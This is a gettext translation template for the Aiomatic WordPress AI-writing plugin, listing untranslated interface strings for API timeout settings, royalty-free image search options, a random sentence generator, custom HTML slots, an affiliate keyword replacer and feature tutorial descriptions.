                    "the AI writer considers the chat as ended. Warning, this can consume more "
                    "tokens, as it will retry API calls multiple times. To disable this feature, "
                    "leave this field blank."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8657
                    msgid "Chat End of Conversation Retry Count:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8662
                    msgid "Chat end API retry max count"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8674
                    msgid ""
                    "Set the maximum number of seconds the plugin will wait for API requests. The "
                    "default is 120 seconds."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8678
                    msgid "Timeout For API Requests (s):"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8683
                    msgid "API Requests Timeout"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8696
                    msgid ""
                    "If you are using content editing which contain Chinese characters, you can "
                    "try checking this checkbox."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8700
                    msgid "Don't Send Maximum Tokens In API Request (Experimental):"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8716
                    msgid ""
                    "If you encounter issues while using the Single AI Post Creator Advanced Mode "
                    "tab, check this checkbox."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8720
                    msgid ""
                    "Don't Use Jobs In The Advanced Mode Single AI Post Creator (Experimental):"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8736
                    msgid ""
                    "If you want to get maximum customizability for your shortcodes, check this "
                    "checkbox. It will allow maximum customizability for content created by "
                    "shortcodes."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8740
                    msgid "Don't Use !important In Generated CSS For Shortcodes:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8752
                    msgid "Royalty Free Image Options"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8754
                    msgid ""
                    "The 'Royalty Free Images' tab offers access to settings of features of the "
                    "plugin which offers access to a curated collection of copyright-free images, "
                    "allowing you to enrich your WordPress site's content without licensing "
                    "concerns."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8759
                    msgid "Royalty Free Image Search Options:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8766
                    msgid ""
                    "Select if you want to randomize the royalty free image sources order, at "
                    "each run. If you check this checkbox, the above order will not be applied "
                    "any more."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8770
                    msgid "Do Not Randomize Royalty Free Source Order, But Use The Below Order: "
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8785
                    msgid ""
                    "Select your prefered order in which you want to search royalty free image "
                    "sources."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8789
                    msgid "Royalty Free Image Search Order:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8801
                    msgid "No Royalty Free Image Sources Enabled"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8821
                    msgid ""
                    "Select if you want to randomize the search results order, of the returned "
                    "images. This can lower the accuracy of images, but make images more unique."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8825
                    msgid "Do Not Randomize Royalty Free Image Results Order: "
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8839
                    msgid ""
                    "Select if you want to try to translate search query keywords to English. "
                    "This can be useful for non-English languages."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8843
                    msgid "Try To Translate Search Query Keywords To English: "
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8857
                    msgid ""
                    "Select the maximum position of the images from the image search results. "
                    "More relevant images are shown first in the royalty free image search "
                    "results. Because of this, using here a number as low as 4 will make the "
                    "plugin use only the first 4 image results which were returned by the royalty "
                    "free image search. This can improve image precision. If you leave this field "
                    "blank, the default value will be used: 4"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8861
                    msgid "Eligible Images Rank At Most At Position: "
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8873
                    msgid ""
                    "Choose if you want to improve royalty free image importing, using the below "
                    "services. These will extract keywords from the original text and provide "
                    "better image quality results. If you select TextRazor, you also need to "
                    "enter a TextRazor API key below. If you select OpenAI, you also need to "
                    "enter a prompt for OpenAI keyword extraction, below. To enable TextRazor to "
                    "be selected, please enter an API key for TextRazor below."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8877
                    msgid "Improve Royalty Free Featured Image Precision Using This Service:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8896
                    msgid "TextRazor"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8912
                    #, php-format
                    msgid ""
                    "Set a prompt for generating a keyword for importing royalty free images for "
                    "the created posts. You can also instruct the AI writer to return a comma "
                    "separated list of keywords. You can use the following shortcodes here: "
                    "%%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. "
                    "You can also add a link to a TXT file, containing keywords (one per line), "
                    "or to an RSS feed. If you use RSS feeds, you can also use the following "
                    "additional shortcodes: %%post_content%%, %%post_content_plain_text%%, "
                    "%%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, "
                    "%%post_link%%. The length of this command should not be greater than the max "
                    "token count set in the settings for the seed command - Update: "
                    "%%related_questions_KEYWORD%% is also supported, to get a list of PAA "
                    "questions for the KEYWORD you want to use. Update: nested shortcodes also "
                    "supported (shortcodes generated by rules from other plugins). You can also "
                    "add here a link to a .txt file, where you can add multiple prompts (one per "
                    "line) and the plugin will select a random one at each run. You can use "
                    "something like: I need to find highly relevant royalty-free images for an "
                    "article heading, please extract a comma-separated list of the most relevant "
                    "single word keywords from the heading, prioritizing specific references over "
                    "general keywords. Add the highest priority to the most specific keyword that "
                    "is still related to the main topic. By doing so, you can help me find more "
                    "appropriate and targeted images for the article heading. The blog post "
                    "heading title is: \"%%post_title%%\"."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8916
                    msgid "Prompt For OpenAI Keyword Generator For Royalty Free Image Importing:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8921
                    #, php-format
                    msgid ""
                    "I need to find highly relevant royalty-free images for an article heading, "
                    "please extract a comma-separated list of the most relevant single word "
                    "keywords from the heading, prioritizing specific references over general "
                    "keywords. Add the highest priority to the most specific keyword that is "
                    "still related to the main topic. By doing so, you can help me find more "
                    "appropriate and targeted images for the article heading. The blog post "
                    "heading title is: \"%%post_title%%\"."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8980
                    msgid ""
                    "Select the model you want to use for keyword extraction, for royalty free "
                    "image importing."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:8984
                    msgid "Model For Keyword Extraction For Royalty Free Images:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9007
                    msgid "More Royalty Free Image Search Options:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9015
                    #, php-format
                    msgid ""
                    "Please set a the image attribution shortcode value. You can use this value, "
                    "using the %%image_attribution%% shortcode, in 'Prepend Content With' and "
                    "'Append Content With' settings fields. You can use the following shortcodes, "
                    "in this settings field: %%image_source_name%%, %%image_source_website%%, "
                    "%%image_source_url%%. These will be updated automatically for the respective "
                    "image source, from where the imported image is from. This will replace the "
                    "%%royalty_free_image_attribution%% shortcode, in 'Generated Post Content' "
                    "settings field."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9019
                    #, php-format
                    msgid ""
                    "Royalty Free Image Attribution Text (%%royalty_free_image_attribution%%): "
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9022
                    msgid "Please insert image attribution text pattern"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9030
                    msgid "Do you want to enable broad search for royalty free images?"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9034
                    msgid "Enable broad image search: "
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9048
                    msgid ""
                    "Do you want to not skip importing the aritcle if no royalty free image found "
                    "for the post?"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9052
                    msgid "Skip Importing of Article If No Free Image Found: "
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9062
                    msgid "Pexels API Options:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9071
                    #, php-format
                    msgid ""
                    "Insert your Pexels App ID. Learn how to get an API key here. If you enter an API Key and an API Secret, you "
                    "will enable search for images using the Pexels API."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9075
                    msgid "Pexels App ID:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9082
                    msgid "Please insert your Pexels API key"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9087
                    msgid "Flickr API Options:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9094
                    #, php-format
                    msgid ""
                    "Insert your Flickr App ID. Learn how to get an API key here. If you enter an API Key and an API Secret, you "
                    "will enable search for images using the Flickr API."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9098
                    msgid "Flickr App ID: "
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9101
                    msgid "Please insert your Flickr APP ID"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9109
                    msgid "The license id for photos to be searched."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9113
                    msgid "Photo License: "
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9124
                    msgid "Do Not Search By Photo Licenses"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9131
                    msgid "All Rights Reserved"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9138
                    msgid "Attribution-NonCommercial-ShareAlike License"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9145
                    msgid "Attribution-NonCommercial License"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9152
                    msgid "Attribution-NonCommercial-NoDerivs License"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9159
                    msgid "Attribution License"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9166
                    msgid "Attribution-ShareAlike License"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9173
                    msgid "Attribution-NoDerivs License"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9180
                    msgid "No known copyright restrictions"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9187
                    msgid "United States Government Work"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9196
                    msgid ""
                    "The order in which to sort returned photos. Deafults to date-posted-desc "
                    "(unless you are doing a radial geo query, in which case the default sorting "
                    "is by ascending distance from the point specified)."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9200
                    msgid "Search Results Order: "
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9210
                    msgid "Date Posted Descendant"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9217
                    msgid "Date Posted Ascendent"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9224
                    msgid "Date Taken Ascendent"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9231
                    msgid "Date Taken Descendant"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9238
                    msgid "Interestingness Descendant"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9245
                    msgid "Interestingness Ascendant"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9258
                    msgid "Pixabay API Options:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9266
                    #, php-format
                    msgid ""
                    "Insert your Pixabay App ID. Learn how to get one here. If you enter an API Key here, you will enable "
                    "search for images using the Pixabay API."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9270
                    msgid "Pixabay App ID:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9277
                    msgid "Please insert your Pixabay API key"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9287 res/aiomatic-main.php:9749
                    msgid "Filter results by image type."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9291
                    msgid "Image Types To Search:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9304 res/aiomatic-main.php:9766
                    msgid "Photo"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9308 res/aiomatic-main.php:9771
                    msgid "Illustration"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9312 res/aiomatic-main.php:9776
                    msgid "Vector"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9322 res/aiomatic-main.php:9816
                    msgid "Order results by a predefined rule."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9326 res/aiomatic-main.php:9820
                    msgid "Results Order: "
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9334 res/aiomatic-main.php:9833
                    msgid "Popular"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9348 res/aiomatic-main.php:9847
                    msgid "Filter results by image category."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9352 res/aiomatic-main.php:9851
                    msgid "Image Category: "
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9365 res/aiomatic-main.php:9864
                    msgid "Fashion"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9370 res/aiomatic-main.php:9869
                    msgid "Nature"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9375 res/aiomatic-main.php:9874
                    msgid "Backgrounds"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9380 res/aiomatic-main.php:9879
                    msgid "Science"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9385 res/aiomatic-main.php:9884
                    msgid "Education"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9390 res/aiomatic-main.php:9889
                    msgid "People"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9395 res/aiomatic-main.php:9894
                    msgid "Feelings"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9400 res/aiomatic-main.php:9899
                    msgid "Religion"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9405 res/aiomatic-main.php:9904
                    msgid "Health"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9410 res/aiomatic-main.php:9909
                    msgid "Places"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9415 res/aiomatic-main.php:9914
                    msgid "Animals"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9420 res/aiomatic-main.php:9919
                    msgid "Industry"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9425 res/aiomatic-main.php:9924
                    msgid "Food"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9435 res/aiomatic-main.php:9934
                    msgid "Sports"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9440 res/aiomatic-main.php:9939
                    msgid "Transportation"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9445 res/aiomatic-main.php:9944
                    msgid "Travel"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9450 res/aiomatic-main.php:9949
                    msgid "Buildings"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9455 res/aiomatic-main.php:9954
                    msgid "Business"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9460 res/aiomatic-main.php:9959
                    msgid "Music"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9469 res/aiomatic-main.php:9968
                    msgid "Minimum image width."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9473 res/aiomatic-main.php:9972
                    msgid "Image Min Width: "
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9476 res/aiomatic-main.php:9975
                    msgid "Please insert image min width"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9484
                    msgid "Maximum image width."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9488
                    msgid "Image Max Width: "
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9491
                    msgid "Please insert image max width"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9499
                    msgid ""
                    "A flag indicating that only images suitable for all ages should be returned."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9503
                    msgid "Safe Search: "
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9517
                    msgid "Select images that have received an Editor's Choice award."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9521
                    msgid "Editor's Choice: "
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9535
                    msgid "Specify default language for regional content."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9539
                    msgid "Filter Language: "
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9602
                    msgid "Norvegian"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9627
                    msgid "Finish"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9677
                    msgid "Chinese"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9682
                    msgid "Google Images API Options:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9689
                    msgid ""
                    "Select if you want to enable usage of the Google Images Search with the "
                    "Creative Commons filter enabled, for getting images."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9693
                    msgid "Enable Google Images Search Usage: "
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9703
                    msgid "Unsplash API Options:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9710
                    msgid ""
                    "Select if you want to enable usage of the Unsplash API for getting images."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9714
                    msgid "Enable Unsplash API Usage: "
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9724
                    msgid "Pixabay Direct Scraping Options:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9731
                    msgid ""
                    "Select if you want to enable direct scraping of Pixabay website. This will "
                    "generate different results from the API."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9735
                    msgid "Enable Pixabay Direct Website Scraping: "
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9753
                    msgid "Image Types To Search: "
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9785
                    msgid "Filter results by image orientation."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9789
                    msgid "Image Orientation: "
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9802
                    msgid "Horizontal"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9807
                    msgid "Vertical"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9983
                    msgid "Maximum image height."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9987
                    msgid "Image Min Height: "
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9990
                    msgid "Please insert image min height"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:9998
                    msgid ""
                    "The 'Random Sentences' tab provides tools to generate and customize random "
                    "sentences, offering creative content solutions and inspiration for your "
                    "WordPress site."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:10003
                    msgid "Random Sentence Generator Settings:"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:10012 res/aiomatic-main.php:10030
                    #, php-format
                    msgid ""
                    "Insert some sentences from which you want to get one at random. You can also "
                    "use variables defined below. %something ==> is a variable. Each sentence "
                    "must be separated by a new line."
                    msgstr ""
                    
                    #: res/aiomatic-main.php:10016
                    #, php-format
                    msgid "First List of Possible Sentences (%%random_sentence%%):"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:10019
                    msgid "Please insert the first list of sentences"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:10034
                    #, php-format
                    msgid "Second List of Possible Sentences (%%random_sentence2%%):"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:10037
                    msgid "Please insert the second list of sentences"
                    msgstr ""
                    
                    #: res/aiomatic-main.php:10048
                    msgid ""
                    "Insert some variables you wish to be exchanged for different instances of "
                    "one sentence. Please format this list as follows:
                    \n" " Variablename => Variables (seperated by " "semicolon)
                    Example:
                    adjective => clever;interesting;smart;huge;" "astonishing;unbelievable;nice;adorable;beautiful;elegant;fancy;glamorous;" "magnificent;helpful;awesome
                    " msgstr "" #: res/aiomatic-main.php:10053 msgid "List of Possible Variables:" msgstr "" #: res/aiomatic-main.php:10056 msgid "Please insert the list of variables" msgstr "" #: res/aiomatic-main.php:10065 msgid "" "The 'Custom HTML' tab allows you to directly edit and manage HTML code, " "giving you the flexibility to create custom designs and functionalities for " "your WordPress site." msgstr "" #: res/aiomatic-main.php:10070 msgid "Custom HTML Code/ Ad Code Settings:" msgstr "" #: res/aiomatic-main.php:10079 #, php-format msgid "" "Insert a custom HTML code that will replace the %%custom_html%% variable. " "This can be anything, even an Ad code." msgstr "" #: res/aiomatic-main.php:10083 msgid "Custom HTML Code #1:" msgstr "" #: res/aiomatic-main.php:10086 msgid "Custom HTML #1" msgstr "" #: res/aiomatic-main.php:10097 #, php-format msgid "" "Insert a custom HTML code that will replace the %%custom_html2%% variable. " "This can be anything, even an Ad code." msgstr "" #: res/aiomatic-main.php:10101 msgid "Custom HTML Code #2:" msgstr "" #: res/aiomatic-main.php:10104 msgid "Custom HTML #2" msgstr "" #: res/aiomatic-main.php:10114 msgid "" "The 'Keyword Replacer' tab offers tools to automatically identify and " "replace specified keywords throughout your WordPress site's content, " "enhancing SEO and content consistency." msgstr "" #: res/aiomatic-main.php:10119 msgid "Keyword Replacer Settings:" msgstr "" #: res/aiomatic-main.php:10128 msgid "" "Select if you want the Keyword Replacer Tool to match also partial words, or " "only full words." msgstr "" #: res/aiomatic-main.php:10132 msgid "Match Also Partial Words:" msgstr "" #: res/aiomatic-main.php:10147 msgid "" "Select if you want the Keyword Replacer Tool to match in a case sensitive " "words mode (upper case differentiated from lower case words)." msgstr "" #: res/aiomatic-main.php:10151 msgid "Make Search Case Sensitive:" msgstr "" #: res/aiomatic-main.php:10166 msgid "Select if you want to open added links in a new tab." msgstr "" #: res/aiomatic-main.php:10170 msgid "Don't Open Links In A New Tab:" msgstr "" #: res/aiomatic-main.php:10185 msgid "" "Add a comma separated list of post IDs on which the Keyword Replacer will " "not function." msgstr "" #: res/aiomatic-main.php:10189 msgid "Skip Processing Of These Post IDs:" msgstr "" #: res/aiomatic-main.php:10192 msgid "ex: 23,24,25" msgstr "" #: res/aiomatic-main.php:10201 msgid "Affiliate Keyword Replacer Rules:" msgstr "" #: res/aiomatic-main.php:10226 msgid "Search Keyword" msgstr "" #: res/aiomatic-main.php:10230 msgid "This keyword will be replaced with a link you define." msgstr "" #: res/aiomatic-main.php:10236 msgid "Replacement Keyword" msgstr "" #: res/aiomatic-main.php:10240 msgid "" "This keyword will replace the search keyword you define. Leave this field " "blank if you only want to add an URL to the specified keyword." msgstr "" #: res/aiomatic-main.php:10246 msgid "Link to Add" msgstr "" #: res/aiomatic-main.php:10250 msgid "" "Define the link you want to appear the defined keyword. Leave this field " "blank if you only want to replace the specified keyword without linking from " "it." msgstr "" #: res/aiomatic-main.php:10255 msgid "Target Content" msgstr "" #: res/aiomatic-main.php:10258 msgid "" "Select if you want to make this rule target post title, content or both." msgstr "" #: res/aiomatic-main.php:10262 msgid "Maximum Replacement Count" msgstr "" #: res/aiomatic-main.php:10266 msgid "" "Set the maximum number of instances which will be replaced in the matched " "content." msgstr "" #: res/aiomatic-main.php:10298 msgid "Please insert the keyword to be replaced" msgstr "" #: res/aiomatic-main.php:10299 msgid "Please insert the keyword to replace the search keyword" msgstr "" #: res/aiomatic-main.php:10300 msgid "Please insert the link to be added to the keyword" msgstr "" #: res/aiomatic-main.php:10305 res/aiomatic-main.php:10575 msgid "Content and Title" msgstr "" #: res/aiomatic-main.php:10306 res/aiomatic-main.php:10577 msgid "Max #" msgstr "" #: res/aiomatic-main.php:10311 msgid "Save Keyword Replacer Rules" msgstr "" #: res/aiomatic-main.php:10549 msgid "Input the keyword to be replaced. This field is required" msgstr "" #: res/aiomatic-main.php:10550 msgid "Input the replacement word" msgstr "" #: res/aiomatic-main.php:10551 msgid "Input the URL to be added" msgstr "" #: res/aiomatic-main.php:10599 msgid "Input the model name. This field is required" msgstr "" #: res/aiomatic-more.php:11 msgid "Media Library Extensions" msgstr "" #: res/aiomatic-more.php:13 msgid "AI Comment Replier" msgstr "" #: res/aiomatic-more.php:17 res/aiomatic-more.php:50 res/aiomatic-more.php:111 msgid "AI Charts and Graphs" msgstr "" #: res/aiomatic-more.php:18 msgid "AI Product/Post Writer" msgstr "" #: res/aiomatic-more.php:19 msgid "Developer Tools Tutorials" msgstr "" #: res/aiomatic-more.php:24 msgid "" "In addition to the powerful core features, Aiomatic has some hidden gems " "that will take your website to the next level. Let's explore these exciting " "features and see how they can supercharge your site." msgstr "" #: res/aiomatic-more.php:26 msgid "Content Wizard:" msgstr "" #: res/aiomatic-more.php:27 msgid "" "First up, we have the Content Wizard, your reliable companion in managing " "and optimizing your content. This intelligent assistant helps you with " "various tasks, from generating AI-powered meta tags to suggesting relevant " "keywords and optimizing your content for better search engine rankings. The " "Content Wizard is your virtual content strategist, guiding you every step of " "the way." msgstr "" #: res/aiomatic-more.php:29 msgid "AI Media Library Extensions:" msgstr "" #: res/aiomatic-more.php:30 msgid "" "Aiomatic takes your media library to new heights with the AI Media Library " "Extension. With Extension 1, you can automatically generate alt text, " "captions, and descriptions for your images, saving you valuable time and " "effort. Extension 2 brings even more power by suggesting relevant tags and " "keywords for your media files, ensuring optimal search engine optimization " "and discoverability." msgstr "" #: res/aiomatic-more.php:32 msgid "Comment Replier:" msgstr "" #: res/aiomatic-more.php:33 msgid "" "Engaging with your audience is crucial, and Aiomatic makes it easier with " "the Comment Replier feature. This handy tool uses AI algorithms to analyze " "and understand comments on your website, providing you with suggested " "responses. You can quickly reply to comments, foster meaningful " "conversations, and provide better user engagement, all with the help of AI." msgstr "" #: res/aiomatic-more.php:35 msgid "AI Taxonomy Description Writer:" msgstr "" #: res/aiomatic-more.php:36 msgid "" "In WordPress, taxonomies are used to classify and organize content. They " "allow you to group posts, pages, or custom post types together based on " "shared characteristics. Taxonomies can be hierarchical (like categories) or " "non-hierarchical (like tags). When creating taxonomies in WP, it is " "important to set descriptions for SEO purposes." msgstr "" #: res/aiomatic-more.php:38 msgid "[aicontent] Shortcode:" msgstr "" #: res/aiomatic-more.php:39 msgid "" "This is maybe the biggest 'hidden gem' of Aiomatic. It is able to combine " "its power with any other plugin I created, allowing AI generated content to " "be produced in posts created by any other of my plugins. Imagine having AI-" "generated content in all your plugins, from social media to scraper plugins " "or news posts. Well, with Aiomatic, that dream is now a reality." msgstr "" #: res/aiomatic-more.php:41 msgid "" "In this video, I'll take a closer look at how the latest update of Aiomatic " "works and what it can do for you. I'll explore how you can easily post AI-" "generated text to your social media channels, saving you time and effort " "while keeping your followers engaged." msgstr "" #: res/aiomatic-more.php:43 msgid "" "I'll also dive into how Aiomatic can enhance your scraped or news posts, " "ensuring that your content is always fresh, relevant, and engaging. Say " "goodbye to boring, uninspired content, and hello to Aiomatic!" msgstr "" #: res/aiomatic-more.php:44 msgid "Check The Tutorial Videos From The Above Tabs!" msgstr "" #: res/aiomatic-more.php:45 msgid "" "To access more details about each feature, simply navigate to the respective " "tabs at the top of this menu page. Within each tab, you'll find tutorial " "videos that walk you through the setup, configuration, and utilization of " "each feature. These videos provide step-by-step guidance, ensuring you make " "the most out of Aiomatic's hidden features." msgstr "" #: res/aiomatic-more.php:47 msgid "Developer Tools Tutorials:" msgstr "" #: res/aiomatic-more.php:48 msgid "" "Aiomatic allows developers to customize the prompts sent to the AI models " "and also the responses returned by the AI, before they are processed in the " "plugin, allowing high customizability of the AI and its results." msgstr "" #: res/aiomatic-more.php:51 msgid "" "Using a special shortcode provided by the plugin, the AI writer can " "incorporate charts and graphs naturally into the created content, to " "visually represent data." msgstr "" #: res/aiomatic-more.php:51 msgid "Usage of the shortcode: " msgstr "" #: res/aiomatic-more.php:53 msgid "Customize the chart using:" msgstr "" #: res/aiomatic-more.php:55 msgid "type: Choose from Pie, Doughnut, Radar, Bar, Line," msgstr "" #: res/aiomatic-more.php:56 msgid "labels: Comma-separated list of labels (e.g., \"Monday,Tuesday\")," msgstr "" #: res/aiomatic-more.php:57 msgid "data: Comma-separated data points (e.g., \"10,20\")," msgstr "" #: res/aiomatic-more.php:58 msgid "" "representing: What is the chart data representing. (e.g., \"Birth Count\")," msgstr "" #: res/aiomatic-more.php:59 msgid "" "colors: the RGB color of each chart data section (e.g., \"#69D2E7,#a0a48C\")." msgstr "" #: res/aiomatic-more.php:61 msgid "'Ultimate Membership Pro' Integration:" msgstr "" #: res/aiomatic-more.php:62 msgid "" "This is a nice feature, which will allow you to connect Aiomatic with the " "'Ultimate Membership Pro' plugin, allowing you to give your website's " "members to the functionality offered by the plugin. You can limit the usage " "of the plugin for members, based on their subscription plans, allowing you " "to create an AI membership site with ease." msgstr "" #: res/aiomatic-more.php:64 msgid "" "Unlock the true potential of Aiomatic's hidden features, harnessing the " "power of AI to streamline your content management, optimize your media " "library, engage with your audience, and enhance the visual impact of your " "website. It's time to take your WordPress experience to new heights with " "Aiomatic!" msgstr "" #: res/aiomatic-more.php:66 msgid "" "Enjoy exploring Aiomatic's hidden features and maximizing the potential of " "your WordPress website!" msgstr "" #: res/aiomatic-more.php:70 msgid "Media Library Extensions Tutorial Videos:" msgstr "" #: res/aiomatic-more.php:72 msgid "Automatic AI Written SEO Tags For Media Library Items:" msgstr "" #: res/aiomatic-more.php:77 msgid "Content Wizard Tutorial Video:" msgstr "" #: res/aiomatic-more.php:82 msgid "AI Comment Replier Tutorial Video:" msgstr "" #: res/aiomatic-more.php:94 msgid "'Ultimate Membership Pro' Integration Tutorial Video:" msgstr "" #: res/aiomatic-more.php:99 msgid "AI Product/Post Writer Tutorial Video:" msgstr "" #: res/aiomatic-more.php:104 msgid "AI Content Filters Feature Tutorial Video:" msgstr "" #: res/aiomatic-more.php:106 msgid "OpenAI API Functions Calling Tutorial Video:" msgstr "" #: res/aiomatic-more.php:113 msgid "Overview:" msgstr "" #: res/aiomatic-more.php:114 msgid "The aiomatic_charts" msgstr "" #: res/aiomatic-more.php:114 msgid "" "shortcode allows users to embed dynamic and customizable charts and graphs " "into WordPress posts and pages. It supports multiple chart types, including:" msgstr "" #: res/aiomatic-more.php:114 msgid "" "and provides a wide range of customization options through shortcode " "parameters." msgstr "" #: res/aiomatic-more.php:115 msgid "Shortcode Setup:" msgstr "" #: res/aiomatic-more.php:116 msgid "" "To use the shortcode in your WordPress posts or 